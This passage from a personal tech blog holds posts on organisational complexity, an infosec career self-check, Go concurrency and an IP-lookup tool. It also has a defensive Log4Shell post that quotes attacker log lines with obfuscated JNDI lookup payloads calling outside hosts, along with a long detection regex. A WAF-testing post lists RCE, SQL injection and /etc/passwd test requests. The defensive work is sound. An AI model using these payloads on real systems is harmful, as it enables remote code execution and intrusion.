complexity without adding value. So you need some balance between
freestyle and disciplined approach. To evaluate the balance look for the
signs.</p>
<p>The signs of unhealthy level of technical complexity in software
systems:</p>
<ul>
<li>hard to use</li>
<li>unclear API and documentation</li>
<li>unclear design</li>
<li>difficult to find bugs</li>
<li>difficult to add new features</li>
<li>difficult to take over (or hand over)</li>
<li>operational problems and outages</li>
</ul>
<p>The signs of unhealthy level of organizational complexity are:</p>
<ul>
<li>meetings without agenda, conclusions and followup</li>
<li>people don’t show interest in the meetings</li>
<li>the same problems being discussed again and again</li>
<li>difficulty to schedule meetings, too many meetings</li>
<li>bureaucracy and rules that make no sense</li>
<li>non-existent or unclear team/company strategy and goals</li>
<li>non-existent or toxic team/company culture</li>
</ul>
<p>(You can have unnecessary complexity also on personal level but I
won’t discuss this here and now.)</p>
<h1 id="simplicity">Simplicity</h1>
<p>I suspect that the main reason causing this problem is
underestimating the importance of simplicity.</p>
<p>Simplicity is actually hard. To keep things simple you have to think
about them, write your ideas down and review them several times.
Consider what is the goal, what resources you have, what are the pros
and cons of various ways to achieve the goal. You also have to discuss
your ideas and listen to other people’s ideas. Once you have somehow
clear ideas you have to communicate them well. Then you have to
implement them (e.g. writing some code) and organize in accordance with
them (via meetings, documentation, code structure). You have to be able
to resist various pressures and temptations (you must be able to say NO
to most things). And you have to do all this again and again. This
requires time, energy, skill, motivation, patience and persistence. On
the other hand it brings satisfaction.</p>
<p>In case your current team/company doesn’t want or is not able to do
this (and you want or are) there are three options for you:</p>
<ul>
<li>accept it and consider it a party instead of chaos :-)</li>
<li>get into a (management) position from which you can influence
things</li>
<li>get into a company (which seems to be) heading in the right
direction</li>
</ul>
<p>The first option is the easiest one but not necessarily the right
one. Of course you can and should always strive for simplicity on
individual level. But you only have a certain amount of time, energy and
patience.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-14245232784337661662022-05-19T22:41:00.003+02:002024-02-24T15:18:18.733+01:00My infosec career evaluation<p>I read Daniel Miessler’s <a
href="https://danielmiessler.com/blog/build-successful-infosec-career/">article</a>
and liked it. So I tried to evaluate myself against it.</p>
<ul>
<li>✅ come from one of these backgrounds
<ul>
<li>system administration 👈</li>
<li>networking</li>
<li>development</li>
</ul></li>
<li>✅ have a good foundation in all these and a decent strength in one
<ul>
<li>system administration (Linux, LDAP, hardening, …)</li>
<li>networking (TCP/IP, switching, routing, protocols, …)</li>
<li>programming (concepts, scripting, OOP basics) 👈</li>
</ul></li>
<li>✅ have some relevant certifications (CCNA, CISSP, LPIC-2, CCENT,
CKAD)</li>
<li>✅ <a href="https://github.com/jreisinger/gokatas">nurture</a> your
programming skills; you can build websites, tools, PoCs, …</li>
<li>✅ stay up to date (twitter, email digests, …)</li>
<li>✅ have a lab (AWS + home server)</li>
<li>✅ be always working on (<a
href="https://github.com/jreisinger/">GitHub</a>) projects</li>
<li>✅ make contributions (on GitHub)</li>
<li>🚫 practice with bug bounties (BugCrowd, HackerOne)</li>
<li>✅ have a presence (<a href="https://jreisinger.github.io">web
site</a>, <a href="https://jreisinger.blogspot.com">blog</a>, <a
href="https://twitter.com/JozefReisinger">Twitter</a>)</li>
<li>✅ network with others (interact on Twitter, go to conferences,
…)</li>
<li>🚫 respond to Call for Papers (CFP)</li>
<li>✅ professionalism
<ul>
<li>dependability</li>
<li>speak concisely</li>
<li>tighten up you writing</li>
<li>learn to present</li>
</ul></li>
<li>✅ understand the business</li>
<li>✅ have a passion</li>
<li>✅ you’re in your 30’s, 40’s, or 50’s, and things are looking good
:-)</li>
<li>🤏 financial knowledge</li>
<li>✅ management experience (managing people not only projects)</li>
<li>🤏 extensive network (know a good percentage of the major players in
infosec and business)</li>
<li>🤏 dress/etiquette :-)</li>
<li>✅ advanced education</li>
<li>🚫 media savvy (trained to speak with the media about various
topics)</li>
<li>🤏 tech/business hybrid (be able to speak and work with devs and
managers)</li>
<li>🤏 creativity (able not only execute what you’re given but come up
with new ideas and approaches to problems on a regular cadence)</li>
</ul>
<p>Some of the above attributes are applicable only to certain career
phases (junior, senior, team lead). Others are universal.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-60752423688527059952021-12-23T22:47:00.002+01:002022-10-24T21:48:24.770+02:00log4shell<p>During this year’s Advent the <a
href="https://en.wikipedia.org/wiki/Log4Shell">Log4Shell</a>
vulnerability was discovered. It’s a vulnerability with high impact.
This is because of three factors. It allows an attacker to run arbitrary
code (downloaded from LDAP servers) on the victim’s system. Log4j is a
logging library used by lots of programs. It’s easy to exploit. The way
to fix this vulnerability is upgrade the log4j library to the latest
version.</p>
<p>To find out if someone is trying to exploit this vulnerability in
your system you can review your logs. For example:</p>
<div class="sourceCode" id="cb1"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> sudo journalctl <span class="at">--since</span> 2021-12-09 <span class="kw">|</span> <span class="dt">\</span></span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="fu">grep</span> <span class="at">-iE</span> <span class="st">'\$\{jndi:'</span></span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Dec</span> 12 05:34:35 cloud waf[638]: 165.22.201.45 <span class="at">-</span> <span class="at">-</span> [12/Dec/2021:05:34:35 +0000] <span class="st">"GET / HTTP/1.1"</span> 444 0 <span class="st">"-"</span> <span class="st">"</span><span class="va">${jndi</span><span class="op">:</span><span class="va">${lower</span><span class="op">:</span>l<span class="va">}${lower</span><span class="op">:</span>d<span class="va">}</span>a<span class="va">${lower</span><span class="op">:</span>p<span class="va">}</span><span class="op">:</span>//world80.log4j.bin<span class="va">${upper</span><span class="op">:</span>a<span class="va">}</span>ryedge.io<span class="op">:</span><span class="dv">80</span>/callback<span class="va">}</span><span class="st">"</span></span>
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="ex">Dec</span> 13 00:51:28 cloud waf[638]: 157.245.108.40 <span class="at">-</span> <span class="at">-</span> [13/Dec/2021:00:51:28 +0000] <span class="st">"GET / HTTP/1.1"</span> 444 0 <span class="st">"-"</span> <span class="st">"</span><span class="va">${jndi</span><span class="op">:</span><span class="va">${lower</span><span class="op">:</span>l<span class="va">}${lower</span><span class="op">:</span>d<span class="va">}</span>a<span class="va">${lower</span><span class="op">:</span>p<span class="va">}</span><span class="op">:</span>//world443.log4j.bin<span class="va">${upper</span><span class="op">:</span>a<span class="va">}</span>ryedge.io<span class="op">:</span><span class="dv">80</span>/callback<span class="va">}</span><span class="st">"</span></span>
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a><span class="ex">Dec</span> 13 05:01:39 cloud waf[638]: 45.83.64.19 <span class="at">-</span> <span class="at">-</span> [13/Dec/2021:05:01:39 +0000] <span class="st">"GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1"</span> 444 0 <span class="st">"</span><span class="va">${jndi</span><span class="op">:</span>dns<span class="op">:</span>//<span class="dv">45</span>.<span class="dv">83</span>.<span class="dv">64</span>.<span class="dv">1</span>/securityscan-http80<span class="va">}</span><span class="st">"</span> <span class="st">"</span><span class="va">${jndi</span><span class="op">:</span>dns<span class="op">:</span>//<span class="dv">45</span>.<span class="dv">83</span>.<span class="dv">64</span>.<span class="dv">1</span>/securityscan-http80<span class="va">}</span><span class="st">"</span></span></code></pre></div>
<p>These are logs from NGINX web server. There is no Java running on
this system but the Internet is being scanned en masse. The web server
is returning 444 because it’s configured like this:</p>
<pre><code># Just close connection if the server is accessed via IP address or via the
# wrong hostname. _ is just an invalid value which will never trigger on a real
# hostname.
server {
listen 443 default_server;
server_name _;
return 444;
}</code></pre>
<p>More sophisticated exploits and evasion techniques are being <a
href="https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/">discovered</a>.
So instead of the simple <code>\$\{jndi:</code> regex you can use <a
href="https://github.com/back2root/log4shell-rex">this</a> monster. It’s
handy to store it in an environment variable:</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="va">L4S_REGEX</span><span class="op">=</span><span class="st">'(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))'</span></span></code></pre></div>
<p>Now, the command searching the logs for signs of exploit looks like
this:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="fu">sudo</span> journalctl <span class="at">--since</span> 2021-12-09 <span class="kw">|</span> <span class="dt">\</span></span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a><span class="fu">perl</span> <span class="at">-wlne</span> <span class="st">"/</span><span class="va">$L4S_REGEX</span><span class="st">/ && print"</span> </span></code></pre></div>
<p>If you are curious who is making these requests you can pull out the
IP addresses from the logs, for example:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> sudo journalctl <span class="at">--since</span> 2021-12-09 <span class="kw">|</span> <span class="dt">\</span></span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a><span class="fu">perl</span> <span class="at">-wlne</span> <span class="st">"/</span><span class="va">$L4S_REGEX</span><span class="st">/ && print"</span> <span class="kw">|</span> <span class="dt">\</span></span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a><span class="fu">perl</span> <span class="at">-wlne</span> <span class="st">'/((?:\d{1,3}\.){3}\d{1,3})/ && print $1'</span> <span class="kw">|</span> <span class="fu">sort</span> <span class="kw">|</span> <span class="fu">uniq</span></span>
<span id="cb5-4"><a href="#cb5-4" aria-hidden="true" tabindex="-1"></a><span class="ex">157.245.108.40</span></span>
<span id="cb5-5"><a href="#cb5-5" aria-hidden="true" tabindex="-1"></a><span class="ex">165.22.201.45</span></span>
<span id="cb5-6"><a href="#cb5-6" aria-hidden="true" tabindex="-1"></a><span class="ex">45.83.64.19</span></span></code></pre></div>
<p>To discover information about the IP addresses you might find <a
href="https://github.com/jreisinger/checkip">checkip</a> useful:</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> for ip in <span class="va">$(</span><span class="fu">sudo</span> journalctl <span class="at">--since</span> 2021-12-09 <span class="kw">|</span> <span class="dt">\</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a><span class="fu">perl</span> <span class="at">-wlne</span> <span class="st">"/</span><span class="va">$L4S_REGEX</span><span class="st">/ && print"</span> <span class="kw">|</span> <span class="dt">\</span></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a><span class="fu">perl</span> <span class="at">-wlne</span> <span class="st">'/((?:\d{1,3}\.){3}\d{1,3})/ && print $1'</span> <span class="kw">|</span> <span class="fu">sort</span> <span class="kw">|</span> <span class="fu">uniq</span><span class="va">)</span></span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a><span class="cf">do</span></span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a><span class="bu">echo</span> <span class="st">"---[</span><span class="va">$ip</span><span class="st">]---"</span><span class="kw">;</span> <span class="ex">checkip</span> <span class="va">$ip</span> <span class="dv">2</span><span class="op">></span> /dev/null</span>
<span id="cb6-6"><a href="#cb6-6" aria-hidden="true" tabindex="-1"></a><span class="cf">done</span></span>
<span id="cb6-7"><a href="#cb6-7" aria-hidden="true" tabindex="-1"></a><span class="ex">---[157.245.108.40]---</span></span>
<span id="cb6-8"><a href="#cb6-8" aria-hidden="true" tabindex="-1"></a><span class="ex">abuseipdb.com</span> domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit</span>
<span id="cb6-9"><a href="#cb6-9" aria-hidden="true" tabindex="-1"></a><span class="ex">iptoasn.com</span> AS description: DIGITALOCEAN-ASN <span class="at">-</span> DigitalOcean, LLC</span>
<span id="cb6-10"><a href="#cb6-10" aria-hidden="true" tabindex="-1"></a><span class="ex">maxmind.com</span> city: Bengaluru, country: India <span class="er">(</span><span class="ex">IN</span><span class="kw">)</span></span>
<span id="cb6-11"><a href="#cb6-11" aria-hidden="true" tabindex="-1"></a><span class="fu">ping</span> 0% packet loss, sent 5, recv 5, avg round-trip 141 ms</span>
<span id="cb6-12"><a href="#cb6-12" aria-hidden="true" tabindex="-1"></a><span class="ex">shodan.io</span> OS: n/a, 1 open port: tcp/4646</span>
<span id="cb6-13"><a href="#cb6-13" aria-hidden="true" tabindex="-1"></a><span class="ex">urlscan.io</span> 0 related URLs</span>
<span id="cb6-14"><a href="#cb6-14" aria-hidden="true" tabindex="-1"></a><span class="ex">virustotal.com</span> network: 157.245.0.0/16, SAN: knrao.in, cpanel.knrao.in, cpcalendars.knrao.in, cpcontacts.knrao.in, mail.knrao.in, webdisk.knrao.in, webmail.knrao.in, www.knrao.in</span>
<span id="cb6-15"><a href="#cb6-15" aria-hidden="true" tabindex="-1"></a><span class="ex">Malicious</span> 38% 🤏</span>
<span id="cb6-16"><a href="#cb6-16" aria-hidden="true" tabindex="-1"></a><span class="ex">---[165.22.201.45]---</span></span>
<span id="cb6-17"><a href="#cb6-17" aria-hidden="true" tabindex="-1"></a><span class="ex">abuseipdb.com</span> domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit</span>
<span id="cb6-18"><a href="#cb6-18" aria-hidden="true" tabindex="-1"></a><span class="ex">iptoasn.com</span> AS description: DIGITALOCEAN-ASN <span class="at">-</span> DigitalOcean, LLC</span>
<span id="cb6-19"><a href="#cb6-19" aria-hidden="true" tabindex="-1"></a><span class="ex">maxmind.com</span> city: Amsterdam, country: Netherlands <span class="er">(</span><span class="ex">NL</span><span class="kw">)</span></span>
<span id="cb6-20"><a href="#cb6-20" aria-hidden="true" tabindex="-1"></a><span class="fu">ping</span> 0% packet loss, sent 5, recv 5, avg round-trip 16 ms</span>
<span id="cb6-21"><a href="#cb6-21" aria-hidden="true" tabindex="-1"></a><span class="ex">shodan.io</span> OS: Ubuntu, 4 open ports: tcp/22 <span class="er">(</span><span class="ex">OpenSSH,</span> 8.2p1 Ubuntu-4ubuntu0.2<span class="kw">)</span><span class="ex">,</span> tcp/80 <span class="er">(</span><span class="ex">Apache</span> httpd, 2.4.51<span class="kw">)</span><span class="ex">,</span> tcp/443 <span class="er">(</span><span class="ex">Apache</span> httpd, 2.4.7<span class="kw">)</span><span class="ex">,</span> tcp/465 <span class="er">(</span><span class="ex">Exim</span> smtpd, 4.94.2<span class="kw">)</span></span>
<span id="cb6-22"><a href="#cb6-22" aria-hidden="true" tabindex="-1"></a><span class="ex">urlscan.io</span> 0 related URLs</span>
<span id="cb6-23"><a href="#cb6-23" aria-hidden="true" tabindex="-1"></a><span class="ex">virustotal.com</span> network: 165.22.0.0/16, SAN: <span class="pp">*</span>.adleon2jnbvsh.com, adleon2jnbvsh.com</span>
<span id="cb6-24"><a href="#cb6-24" aria-hidden="true" tabindex="-1"></a><span class="ex">Malicious</span> 38% 🤏</span>
<span id="cb6-25"><a href="#cb6-25" aria-hidden="true" tabindex="-1"></a><span class="ex">---[45.83.64.49]---</span></span>
<span id="cb6-26"><a href="#cb6-26" aria-hidden="true" tabindex="-1"></a><span class="ex">abuseipdb.com</span> domain: n/a, usage type: n/a</span>
<span id="cb6-27"><a href="#cb6-27" aria-hidden="true" tabindex="-1"></a><span class="ex">iptoasn.com</span> AS description: ALPHASTRIKE-RESEARCH</span>
<span id="cb6-28"><a href="#cb6-28" aria-hidden="true" tabindex="-1"></a><span class="ex">maxmind.com</span> city: n/a, country: Germany <span class="er">(</span><span class="ex">DE</span><span class="kw">)</span></span>
<span id="cb6-29"><a href="#cb6-29" aria-hidden="true" tabindex="-1"></a><span class="fu">ping</span> 0% packet loss, sent 5, recv 5, avg round-trip 16 ms</span>
<span id="cb6-30"><a href="#cb6-30" aria-hidden="true" tabindex="-1"></a><span class="ex">shodan.io</span> OS: n/a, 1 open port: tcp/179</span>
<span id="cb6-31"><a href="#cb6-31" aria-hidden="true" tabindex="-1"></a><span class="ex">urlscan.io</span> 0 related URLs</span>
<span id="cb6-32"><a href="#cb6-32" aria-hidden="true" tabindex="-1"></a><span class="ex">virustotal.com</span> network: 45.83.64.0/22, SAN: n/a</span>
<span id="cb6-33"><a href="#cb6-33" aria-hidden="true" tabindex="-1"></a><span class="ex">Malicious</span> 50% 🚫</span></code></pre></div>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-22812851676759427172021-10-15T22:50:00.002+02:002024-02-24T15:20:23.497+01:00Life cycle of a silver bullet<p>I’ve watched SRECon <a
href="https://www.youtube.com/watch?v=pV3ArFwsfXA">discussion</a> about
DevOps. They mentioned a paper from Sarah A. Sheard called “Life Cycle
of a Silver Bullet”. Written in 2003. I googled it and read it and I was
enlightened. (While writing this, I’ve been served tea by a robot for
the first time in my life!). The paper contains several ideas I had and
several observations I made while being part of an attempt to introduce
something like DevOps within a company.</p>
<p>Sheard claims that “improvement initiatives” can and do work, but it
very much depends on how they are implemented. In this post I’ll try to
extract from the paper the positive and negative signals you can observe
when trying to implement an improvement initiative, like DevOps or
Agile.</p>
<h2 id="positive-signals">Positive signals</h2>
<p>Someone with power to make changes (like an executive or a manager)
takes a close look how his company is working to determine problems. He
also looks at company’s strengths.</p>
<p>You can see there is real focus and dedication (of time and money) to
implement the identified improvements.</p>
<p>The problems are truly solved, not just glossed over.</p>
<p>A climate of openess without retribution is fostered, and senior
managers listen to messages from all levels of the company.</p>
<p>Products start to be created more efficiently and with better
quality.</p>
<h2 id="negative-signals">Negative signals</h2>
<p>Managers read only short summary articles about the improvement
method.</p>
<p>The implementing managers ask workers to implement some specific
improvements (read in the blogs) without costly discussion or
modification.</p>
<p>Some specific improvements are ruled out with reasoning that they
would be costly to implement.</p>
<p>Executives and managers don’t really listen to workers nor change
their own way of working. What they state as improvement in
communication is really only about downward communication.</p>
<p>Lack of executive involvement. Managers don’t involve executives
because the superiors might feel threatened or embarrassed.</p>
<p>Dilution of emphasis.</p>
<p>Tendency to apply the steps as a checklist rather than to seek and
fix the company’s basic business problems.</p>
<p>Workers feel bombarded by misuderstood management initiatives that
don’t solve any real problems.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-5410128596886768782021-02-11T22:51:00.002+01:002024-02-24T15:22:22.383+01:00Concurrent CLI tools with Go<p>Imagine you have a list of 100 URLs and you want to check whether
they are OK (i.e. they return 200 HTTP status code). Well, easy enough
you might think - I’ll run <code>curl</code> with some fancy options in
a for loop:</p>
<pre><code>$ time for url in $(cat urls.txt); do curl -s -o /dev/null -w "%{http_code}" -L $url; echo " $url"; done
200 https://golang.org/doc
200 https://perl.org
404 https://perl.org/python
<...SNIP...>
real 0m37.991s
user 0m3.491s
sys 0m1.243s</code></pre>
<p>Wait a second! Almost 40 seconds? What if I needed to check 10,000
URLs!</p>
<p>Let’s try another approach. Go is famous for its easy concurrency by
the virtue of goroutines and channels. It’s true that it is much easier
(and cheaper) to write concurrent programs in Go than in many other
languages. But writing a concurrent program is still more difficult than
a sequential one. So you might find useful the <a
href="https://github.com/jreisinger/work">work</a> package that
abstracts the concurrency code away. To use it you just need to
implement Factory and Task interfaces.</p>
<p>To implement the Factory interface you need to create a data
structure (an empty <code>struct</code> in this case) with the Generate
method.</p>
<pre><code>type factory struct{}
func (f *factory) Generate(line string) work.Task {
t := &task{URL: line}
return t
}</code></pre>
<p>The Generate method takes a line from STDIN and creates a task from
it. Task is another interface. It requires Process method that will
process the task and Print method to print the results.</p>
<pre><code>type task struct {
URL string
Status bool
}
func (t *task) Process() {
resp, err := http.Get(t.URL)
if err != nil {
return
}
if resp.StatusCode == http.StatusOK {
t.Status = true
}
}
func (t *task) Print() {
status := map[bool]string{
true: "OK",
false: "NOTOK",
}
fmt.Printf("%-5s %s\n", status[t.Status], t.URL)
}</code></pre>
<p>Now you run the factory with some number of workers:</p>
<pre><code>func main() {
w := flag.Int("w", 100, "number of concurrent workers")
flag.Parse()
f := &factory{}
work.Run(f, *w, []string{})
}</code></pre>
<p>Let’s see if we can check those 100 URLs faster:</p>
<pre><code>$ go build
$ time ./urlchecker < urls.txt
NOTOK https://nonexistent.net
OK https://reisinge.net/notes/go/basics
OK https://golang.org/doc
<...SNIP...>
real 0m1.641s
user 0m0.438s
sys 0m0.222s</code></pre>
<p>Less than two seconds. That’s not bad :-). See <a
href="https://github.com/jreisinger/work/tree/main/examples">examples</a>
for the full program described above and more.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-79104514556912870242021-01-15T22:53:00.004+01:002024-02-24T15:22:22.385+01:00Check an IP address<p>Sometimes I come across an unknown IP address. This happens, for
example, when I’m reviewing logs and I see that someone or (most
probably) something was trying to SSH into the system. Or it was
enumerating the URL paths of a web application.</p>
<p>In such scenario I want to have a quick and easy way to check the IP
address. I created a command line tool called <a
href="https://github.com/jreisinger/checkip">checkip</a> that does just
that. For example, the following IP address definitely looks
suspicious:</p>
<p><img src="https://github.com/jreisinger/homepage/raw/master/static/checkip.png" style="max-width:100%;width:640px"></p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-79359479339289763872020-03-16T22:55:00.002+01:002024-02-16T09:32:56.089+01:00Working with WAF containers<p>I’ve been working with Web Application Firewalls (WAFs) in the form
of application containers for some time. To make my work easier I
created couple of tools: <a
href="https://github.com/jreisinger/waf-runner">waf-runner</a> and <a
href="https://github.com/jreisinger/waf-tester">waf-tester</a>. In this
post I’ll try to show you how they can be used.</p>
<p>My most common use cases boil down to:</p>
<ol type="1">
<li>Changing or upgrading WAF components (e.g. Nginx, ModSecurity,
CRS)</li>
<li>Adding or modifying WAF rules (strictly speaking this is a subset of
1.)</li>
</ol>
<p>For both use cases the workflow looks like this:</p>
<ol type="1">
<li>Build and run a WAF container</li>
<li>Make changes to the running WAF container</li>
<li>Test the WAF container</li>
<li>Commit and push the changes</li>
</ol>
<h2 id="build-and-run-a-waf-container">Build and run a WAF
container</h2>
<p><a href="https://github.com/jreisinger/waf-runner">waf-runner</a>
will build and run a WAF container based on supplied
<code>Dockerfile</code> and related configuration files. For
example:</p>
<pre><code>$ waf-runner waf/nginx/modsecurity
--> Create directories for WAF logs in /tmp/var/log
--> Create temporary directory
/var/folders/8d/49xspl216vqf52y6b_s_y9x00000gn/T/tmp.i3XRl9PA
--> Create /var/folders/8d/49xspl216vqf52y6b_s_y9x00000gn/T/tmp.i3XRl9PA/docker-compose.yaml
--> Copy recursively all files from waf/nginx/modsecurity to /var/folders/8d/49xspl216vqf52y6b_s_y9x00000gn/T/tmp.i3XRl9PA
--> Run docker images for WAF and web server
Creating network "tmpi3xrl9pa_default" with the default driver
Building testing-waf
Creating testing-webserver ... done
Creating testing-waf ... done
--> Check WAF is up and proxying requests
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c815458a6eef tmpi3xrl9pa_testing-waf "nginx -g 'daemon of…" 4 seconds ago Up 3 seconds 0.0.0.0:80->80/tcp testing-waf
bcb445f3a683 nginx "/docker-entrypoint.…" 4 seconds ago Up 3 seconds 0.0.0.0:8080->80/tcp testing-webserver
--> WAF container is up and running (hit Ctrl-C to quit)
==> /tmp/var/log/modsec_audit.log <==
==> /tmp/var/log/nginx/access.log <==
192.168.240.1 - - [29/Aug/2020:15:36:31 +0000] "GET / HTTP/1.1" 200 612 "-" "curl/7.64.1" "-"
==> /tmp/var/log/nginx/error.log <==</code></pre>
<p><code>waf-runner</code> will keep on <code>tail</code>ing the logs
until you hit Ctrl-C.</p>
<h2 id="make-changes-to-the-running-waf-container">Make changes to the
running WAF container</h2>
<p>If you want to make temporary changes to the WAF you can get into the
container:</p>
<pre><code>$ docker exec -it testing-waf /bin/sh
/ # vi /etc/nginx/nginx.conf
/ # nginx -s reload
/ # exit</code></pre>
<h2 id="test-the-waf-container">Test the WAF container</h2>
<p><a href="https://github.com/jreisinger/waf-tester">waf-tester</a>
will run tests against a WAF (that is running on localhost in this
case):</p>
<pre><code>$ waf-tester -tests waf_tests/generic/basic-tests.yaml -print OK
OK RCE GET http://localhost/?exec=/bin/bash
OK SQLi GET http://localhost/?id=1'%20or%20'1'%20=%20'
OK OS file access GET http://localhost/?page=/etc/passwd
